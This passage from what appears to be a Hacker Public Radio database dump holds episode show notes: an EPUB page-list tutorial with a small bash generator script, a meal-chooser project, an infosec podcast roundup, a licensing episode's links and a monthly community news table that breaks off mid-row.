This will create the new navigation file <code>nav.xhtml</code> to replace the old <code>toc.ncx</code> file. You\'ll need to edit this new file later to enable the page numbers.</p>\r\n\r\n<h3>Insert page anchors</h3>\r\n\r\n<p>Next you need to put your page anchors in there. This could be very tedious if you haven\'t done any preparatory work, such as putting visible page numbers in plain sight in square brackets [21] the way I did for a couple of ebooks. It wasn\'t very elegant, but at least it was easy to find where the page breaks were. I have a <a href=\"https://hackerpublicradio.org/eps.php?id=1284\">Blather</a> voice command that triggers a python script to create these things. Here\'s an example of page number anchor, which goes in the main text of the book wherever you want to insert a page number. This will not be visible to the reader inline. This is for page 57:</p>\r\n\r\n<pre>\r\n&lt;span epub:type=&quot;pagebreak&quot; id=&quot;page57&quot; title=&quot;57&quot;&gt;&lt;/span&gt;\r\n</pre>\r\n\r\n<h3>Page List in Navigation File</h3>\r\n\r\n<p>Finally you need to put a <strong>page list</strong> in the new navigation file. This is simply an ordered list with hyperlinks to every page anchor that you put in your ebook. This will not be visible to the reader, but it\'s critical to making everything work. Here\'s a minimal example from my first attempt. This only covers Pages 122 to 126. This is the kind of page numbering you might need if you created an ebook from a five-page article from an academic journal that appeared in the middle of the volume.</p>\r\n\r\n\r\n<pre>\r\n&lt;nav epub:type=&quot;page-list&quot; hidden=&quot;hidden&quot;&gt;\r\n    &lt;ol&gt;\r\n        &lt;li&gt;&lt;a href=&quot;filename.html#page122&quot;&gt;122&lt;/a&gt;&lt;/li&gt;\r\n        &lt;li&gt;&lt;a href=&quot;filename.html#page123&quot;&gt;123&lt;/a&gt;&lt;/li&gt;\r\n        &lt;li&gt;&lt;a href=&quot;filename.html#page124&quot;&gt;124&lt;/a&gt;&lt;/li&gt;\r\n        &lt;li&gt;&lt;a href=&quot;filename.html#page125&quot;&gt;125&lt;/a&gt;&lt;/li&gt;\r\n        &lt;li&gt;&lt;a href=&quot;filename.html#page126&quot;&gt;126&lt;/a&gt;&lt;/li&gt;\r\n    &lt;/ol&gt;\r\n&lt;/nav&gt;\r\n</pre>\r\n\r\n<p>I\'m not sure it matters where you put this navigation block in the <code>nav.xhmtl</code> file, but I put mine between the table of contents and the landmarks blocks.</p>\r\n\r\n<h3>Scripting the creation of page list</h3>\r\n\r\n<p>It could be very tedious to create a page list like this, so of course I wrote a script to automate a lot of the heavy lifting. I\'m sure Dave can write one that\'s more elegant than this, but this is what I came up with in about 5 minutes and it did the job, with the exception of putting the right URL for each link. I did a little bit of post-production to search and replace the URLs generated in the script with what I needed for the specific eBook. I think if you added a third command-line argument with a URL, you can solve this problem. The difficulty with larger books will be when you have more than one internal HTML file in the book, you will have to go through very carefully and make sure that the link goes to the correct file. I saved the script as <code>pagelist.sh</code> and put it in my <code>$PATH</code>.</p>\r\n\r\n<p>Command to run to generate a page list from pages 42 to 61:</p>\r\n\r\n<pre>\r\npagelist.sh 42 61\r\n</pre>\r\n\r\n<p>And here\'s the script:</p>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\n# grab beginning and ending pages from 1st and 2nd\r\n# CLI arguments, and specify a tmp file to put stuff\r\nstart=&quot;$1&quot;\r\nend=&quot;$2&quot;\r\nnavfile=/tmp/navfile.txt\r\n\r\n# put the top matter for the nav block\r\necho \'&lt;nav epub:type=&quot;page-list&quot; hidden=&quot;hidden&quot;&gt;\' &gt; $navfile\r\necho &quot;    &lt;ol&gt;&quot; &gt;&gt; $navfile\r\n\r\n# iterate through the page numbers making list item for each one.\r\n# should replace filename with your ebook\'s actual filename\r\nfor i in $(seq $start $end); do\r\n	echo &quot;        &lt;li&gt;&lt;a href=\\&quot;filename.html#page$i\\&quot;&gt;$i&lt;/a&gt;&lt;/li&gt;&quot; &gt;&gt; $navfile\r\ndone\r\n\r\n# close out the list and nav block\r\necho &quot;    &lt;/ol&gt;&quot; &gt;&gt; $navfile\r\necho &quot;&lt;/nav&gt;&quot; &gt;&gt; $navfile\r\n\r\nexit 0\r\n</pre>\r\n\r\nThen you just need to copy and paste what was generated from the script into your editor and make sure all of the URLs are correct, then stick that navigation block into the <code>nav.xhtml</code> file.\r\n\r\n<h3>Conclusions</h3>\r\n\r\n<p>So, once you have the page anchors and the page list in place in your EPUB3 ebook, everything should work. The problem is that so far the only ebook reader I have found that renders the page numbers correctly on the screen is the iBooks app on iOS. I tried it on my Kobo dedicated eReader, on the Marvin ePub reader on iOS and on Overdrive on Android, and none of them displayed my shiny page numbers. iBooks was the only one, but it did so perfectly after choosing \"show publisher page numbers\" on the table of contents menu. It was pretty magical. A quick internet search confirms that there is very little e-book reader or app support for displaying these page numbers.</p>\r\n\r\n<p>However, the embedded page numbers will still be useful if what you want to do is create an index that directs readers back to specific pages. On the one hand, indexes are not as critical as they used to be because you can search through the text of e-books very easily. What you can\'t do easily is <em>browse</em> an eBook the way you can browse a paper book index to see what topics might catch your eye. This might be something only academics do. It\'s not uncommon for an academic to pick up a book and flip right to the bibliography and the index!</p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://kb.daisy.org/publishing/docs/navigation/pagelist.html\">Examples of different page number code formatting</a> from the Accessible Publishing Knowledge Base</li>\r\n	<li><a href=\"https://idpf.org/epub/301/spec/epub-contentdocs.html#sec-xhtml-nav-def-types\">EPUB 3 Specification for navigation document</a>, including page numbers</li>\r\n	<li><a href=\"https://calibre-ebook.com/\">Calibre eBook management software</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','ebooks, epub, scripting, calibre',0,0,1),
(3386,'2021-07-26','What\'s for dinner?',1342,'Some scripts and a database for randomly choosing which meal to cook','<h2 id=\"overview\">Overview</h2>\r\n<p>I live on my own, but I cook for members of my family from time to time. Each week we all get together and cook dinner for Wednesday and Thursday. I usually do the cooking but we are starting to share these duties for certain meals.</p>\r\n<p>In 2019 I thought it would be useful if I had some sort of random chooser to decide what next week’s meal was going to be. I wrote a Bash script called <code>choose_meal</code>, using a simple CSV file of meal names and the date last eaten to avoid choosing the same one too often. The shortcomings of this approach soon became apparent!</p>\r\n<p>It wasn’t long before <code>choose_meal</code> was rewritten in <a href=\"https://www.perl.org/\" title=\"Perl scripting language\">Perl</a>. This time I decided to use a database, and chose <a href=\"https://www.sqlite.org/index.html\"><code>SQLite</code></a> to create it. My database contained just two tables, one for the meals themselves (called slightly confusingly <code>\'meal_history\'</code>), and another for a record of the choices made (called <code>\'meal_log\'</code>) – the ability to produce historical reports seemed like a desirable feature!</p>\r\n<p>In 2019 the design of this system was very specific to our needs: one choice per week on a Wednesday. It was not something that could be used by anyone else – which seemed like a bad idea.</p>\r\n<p>In late 2020 and early 2021 the system was redesigned, as will be discussed in the detailed notes. In May 2021 a more general design was added to the public <a href=\"https://gitlab.com/davmo/weekly_menus\" title=\"Weekly Menus repository\">GitLab repository</a> and the preparation of this show was begun.</p>\r\n<p>I had never intended this system to hold recipes. This was partly because I have built a collection of recipes I have constructed from various sources and amended as I have made them. I print these and keep them in a ring-binder for reference as I cook. In some cases the meals described in the database are multi-component ones (such as the dishes that make up a curry for example), so it doesn’t seem appropriate to hold these here.</p>\r\n<p>I might rethink this in the future however.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3386/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><p><a href=\"https://www.perl.org/\">Perl</a></p>\r\n<ul>\r\n<li><a href=\"https://www.perl.org/get.html\">Perl 5</a>: (currently v5.35.0)</li>\r\n<li><a href=\"https://www.raku.org/\">Raku</a>: originally called Perl 6, a totally different scripting language.</li>\r\n<li><a href=\"https://www.perl.com/article/announcing-perl-7/\">Perl 7</a>: updates to Perl 5, removal of some historical stuff</li>\r\n</ul></li>\r\n<li><p><a href=\"https://www.sqlite.org/index.html\">SQLite</a>: a C-language library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine.</p></li>\r\n<li><p><a href=\"https://gitlab.com/davmo/weekly_menus\">GitLab repository for <em>Weekly Menus</em></a></p></li>\r\n</ul>',225,0,1,'CC-BY-SA','Perl,SQLite3,database,food',0,0,1),
(3387,'2021-07-27','Infosec Podcasts Part 5  Grab bag',483,'Presenting my favorite podcasts related to various aspects of information security','<p>Inoffensive in every region of the world.</p>\r\n<p>Thank you to everyone who has listened to my previous episodes. I hope I am not boring you all to death!</p>\r\n<p>Why am I recording this series?</p>\r\n<ul>\r\n<li>You can hear my reasoning for why I am making this series by listening to the introduction to any of the previous four episodes in this series. Yes, this is a shameless plug for you to listen to my other works.</li>\r\n</ul>\r\n<p>Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 - News &amp; Current Events</li>\r\n<li>Part 2 - General Information Security</li>\r\n<li>Part 3 - Career &amp; Personal Development</li>\r\n<li>Part 4 - Social Engineering</li>\r\n<li>Part 5 -\r\n<ul>\r\n<li>Hacks &amp; Attacks</li>\r\n<li>Technical Information &amp; Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n</ul></li>\r\n<li>Part 6 - Infosec Leadership</li>\r\n</ul>\r\n<h2 id=\"part-5\">Part 5</h2>\r\n<h3 id=\"hacks--attacks\">Hacks &amp; Attacks</h3>\r\n<ul>\r\n<li><p>Malicious Life Ran Levi sponsored by Cybereason (Periodically)</p>\r\n<ul>\r\n<li>Detailed descriptions of specific historical events in cybersecurity</li>\r\n<li><a href=\"https://malicious.life/\">https://malicious.life/</a></li>\r\n</ul></li>\r\n<li><p>Darknet Diaries - Jack Rhysider (Bi-Weekly)</p>\r\n<ul>\r\n<li>Stories from the darker side of the net</li>\r\n<li><a href=\"https://darknetdiaries.com/\">https://darknetdiaries.com/</a></li>\r\n</ul></li>\r\n</ul>\r\n<h3 id=\"technical-information--learning\">Technical information / learning</h3>\r\n<ul>\r\n<li><p>Digital Forensic Survival Podcast - Michael Leclair (Weekly)</p>\r\n<ul>\r\n<li>A weekly deep dive into digital forensics</li>\r\n<li><a href=\"https://digitalforensicsurvivalpodcast.com/\">https://digitalforensicsurvivalpodcast.com/</a></li>\r\n</ul></li>\r\n<li><p>The Offensive Security Podcast - TJ Null and Jeremy Miller (Harbinger) and sponsored by Offensive Security (Creators of the OSCP Offensive Security Certified Professional certification)</p>\r\n<ul>\r\n<li>Probably belongs in the Career &amp; Personal Development category, but I discovered it after I had already recorded that episode.</li>\r\n<li>Interviews with Red team practitioners and other security professionals, related to the various certifications and training available with Offensive Security.</li>\r\n<li><a href=\"https://www.offensive-security.com/podcast/\">https://www.offensive-security.com/podcast/</a></li>\r\n</ul></li>\r\n</ul>\r\n<h3 id=\"community--social--history\">Community / Social / History</h3>\r\n<ul>\r\n<li><p>Command Line Heroes - Saron Yitbarek and sponsored by Red Hat (Weekly with gaps between seasons)</p>\r\n<ul>\r\n<li>Tells the stories about how got to be where we are today, from open source to dev-ops, hardware, programming languages, and everything in between</li>\r\n<li><a href=\"https://www.redhat.com/en/command-line-heroes\">https://www.redhat.com/en/command-line-heroes</a></li>\r\n</ul></li>\r\n<li><p>Beers with Talos - Mitch Neff, Craig Williams, Joel Esler, Matt Olney all part of Cisco Talos Research Center (Periodically)</p>\r\n<ul>\r\n<li>A light hearted and sarcastic podcast which touches on current issues of interest to the hosts</li>\r\n<li><a href=\"https://www.talosintelligence.com/podcasts\">https://www.talosintelligence.com/podcasts</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>I hope that this series has helped introduce you to some new and interesting listening options. Give some of them a try, and I would love to get your feedback in the episode comments on the HPR website.</p>\r\n<p>The next and final episode of this series will be about Information Security Leadership podcasts.</p>\r\n<p>Thank you for listening.</p>',394,75,1,'CC-BY-SA','infosec, podcasts, security',0,0,1),
(3399,'2021-08-12','Linux Inlaws S01E36: Open Source Licenses',3361,'The ultimate show on open source licenses or how to fall asleep without chemicals','<p>\r\n    In this episode Chris is trying hard to get Martin to sleep by elaborating on the\r\n    subject of free and open source software licenses but fails miserably. Listen to a\r\n    more than riveting episode on the ins and outs of licensing FLOSS code bases in addition\r\n    to banter about Brexit, plans for a reshaping of Europe after the invasion of England\r\n    and Wales, Northern Ireland and Scotland leave the UK.\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>MI6: <a href=\"https://www.sis.gov.uk\" target=_blank>https://www.sis.gov.uk</a></li>\r\n<li>OSI definition of free and open source software: <a href=\"https://opensource.org/osd\" target=_blank>https://opensource.org/osd</a></li>\r\n<li>VMware GPL lawsuit: <a href=\"https://sfconservancy.org/news/2015/mar/05/vmware-lawsuit\" target=_blank>https://sfconservancy.org/news/2015/mar/05/vmware-lawsuit</a></li>\r\n<li>Copyleft: <a href=\"https://www.gnu.org/licenses/copyleft.html\" target=_blank>https://www.gnu.org/licenses/copyleft.html</a></li>\r\n<li>Permissive licensing: <a href=\"https://en.wikipedia.org/wiki/Permissive_software_license\" target=_blank>https://en.wikipedia.org/wiki/Permissive_software_license</a></li>\r\n<li>Affero GPL: <a href=\"https://en.wikipedia.org/wiki/Affero_General_Public_License\" target=_blank>https://en.wikipedia.org/wiki/Affero_General_Public_License</a></li>\r\n<li>TerminusDB license change: <a href=\"https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb\" target=_blank>https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb</a></li>\r\n<li>Audacity usage restriction issue: <a href=\"https://github.com/audacity/audacity/issues/1213\" target=_blank>https://github.com/audacity/audacity/issues/1213</a></li>\r\n<li>Redis Source Available License: <a href=\"https://redislabs.com/wp-content/uploads/2019/09/redis-source-available-license.pdf\" target=_blank>https://redislabs.com/wp-content/uploads/2019/09/redis-source-available-license.pdf</a></li>\r\n<li>GoodFORM: <a href=\"https://goodformcode.com\" target=_blank>https://goodformcode.com</a></li>\r\n<li>Server Side Public License: <a href=\"https://www.mongodb.com/licensing/server-side-public-license\" target=_blank>https://www.mongodb.com/licensing/server-side-public-license</a></li>\r\n<li>Creative Commons licenses: <a href=\"https://creativecommons.org/choose\" target=_blank>https://creativecommons.org/choose</a></li>\r\n<li>Clarkson\'s Farm: <a href=\"https://en.wikipedia.org/wiki/Clarkson%27s_Farm\" target=_blank>https://en.wikipedia.org/wiki/Clarkson%27s_Farm</a></li>\r\n<li>Taking Lives: <a href=\"https://www.imdb.com/title/tt0364045/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt0364045/?ref_=fn_al_tt_1</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Licensing, GNU, BSD, MIT, Taking Lives, MI6, Clarkson\'s Farm, Open Source Initiative',0,0,1),
(3696,'2022-10-03','HPR Community News for September 2022',3283,'HPR Volunteers talk about shows released and comments posted in September 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3674\" target=\"_blank\">3674</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3674\" target=\"_blank\">Emergency Show posted in 2012. MUD</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3675\" target=\"_blank\">3675</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3675\" target=\"_blank\">Plan 9: An exercise in futility</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3676\" target=\"_blank\">3676</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3676\" target=\"_blank\">HPR Community News for August 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3677\" target=\"_blank\">3677</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3677\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3678\" target=\"_blank\">3678</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3678\" target=\"_blank\">\"Stupid Users\" ... no, not those users, the other \"stupid users\"</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3679\" target=\"_blank\">3679</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3679\" target=\"_blank\">Linux Inlaws S01E64: Non-profits in the US: A closer look at 501(c)s</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3680\" target=\"_blank\">3680</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3680\" target=\"_blank\">EDIT</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3681\" target=\"_blank\">3681</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3681\" target=\"_blank\">Rust 101 Episode 3: Functionally Insane</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3682\" target=\"_blank\">3682</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3682\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3683\" target=\"_blank\">3683</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3683\" target=\"_blank\">Add a favourite to OSMAnd</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3684\" target=\"_blank\">3684</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3684\" target=\"_blank\">Wake on Lan</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3685\" target=\"_blank\">3685</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3685\" target=\"_blank\">Budget and an Android app</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3686\" target=\"_blank\">3686</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3686\" target=\"_blank\"> Followup for HPR3675: Clarifications on the path traversal bug</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3687\" target=\"_blank\">3687</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3687\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 6</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3688\" target=\"_blank\">3688</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3688\" target=\"_blank\">Education, Certifications, and sipping on the Socials</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3689\" target=\"_blank\">3689</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3689\" target=\"_blank\">Linux Inlaws S01E65: TerminusDB</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3690\" target=\"_blank\">3690</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3690\" target=\"_blank\">Planning the Trip</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3691\" target=\"_blank\">3691</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3691\" target=\"_blank\">Starship.rs the best prompt I don\'t use</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3692\" target=\"_blank\">3692</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3692\" target=\"_blank\">What is a real hacker?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3693\" target=\"_blank\">3693</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3693\" target=\"_blank\">Fixing the automatic cutoff mechanism to an electric mower</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3694\" target=\"_blank\">3694</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3694\" target=\"_blank\">Robo Tripping Ravelords of the Apocalypse</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3695\" target=\"_blank\">3695</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3695\" target=\"_blank\">How I watch youtube with newsboat</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 39 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 8 comments on\n8 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2449#comments\" target=\"_blank\">hpr2449</a></strong>\n(2017-12-21) \"<em>Org-mode mobile solution</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2449#2\" target=\"_blank\">Comment 2</a>:\nSinza on 2022-09-06:\n\"Pinephone\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2756#comments\" target=\"_blank\">hpr2756</a></strong>\n(2019-02-25) \"<em>Bash Tips - 20</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2756#1\" target=\"_blank\">Comment 1</a>:\nUnnamed on 2022-09-30:\n\"Untitled\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3655#comments\" target=\"_blank\">hpr3655</a></strong>\n(2022-08-05) \"<em>BSD for Linux users</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3655#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2022-09-08:\n\"Featured on BSD Now 471\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3658#comments\" target=\"_blank\">hpr3658</a></strong>\n(2022-08-10) \"<em>Linux Inlaws S01E62: HPR\'s inner workings</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3658#3\" target=\"_blank\">Comment 3</a>:\noperat0r on 2022-09-05:\n\"awesome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3662#comments\" target=\"_blank\">hpr3662</a></strong>\n(2022-08-16) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3662#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3667#comments\" target=\"_blank\">hpr3667</a></strong>\n(2022-08-23) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3667#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3672#comments\" target=\"_blank\">hpr3672</a></strong>\n(2022-08-30) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3672#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3673#comments\" target=\"_blank\">hpr3673</a></strong>\n(2022-08-31) \"<em>Recording for Hacker Public Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3673#1\" target=\"_blank\">Comment 1</a>:\nCarl on 2022-09-05:\n\"Great Tips!\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 31 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3675#comments\" target=\"_blank\">hpr3675</a></strong>\n(2022-09-02) \"<em>Plan 9: An exercise in 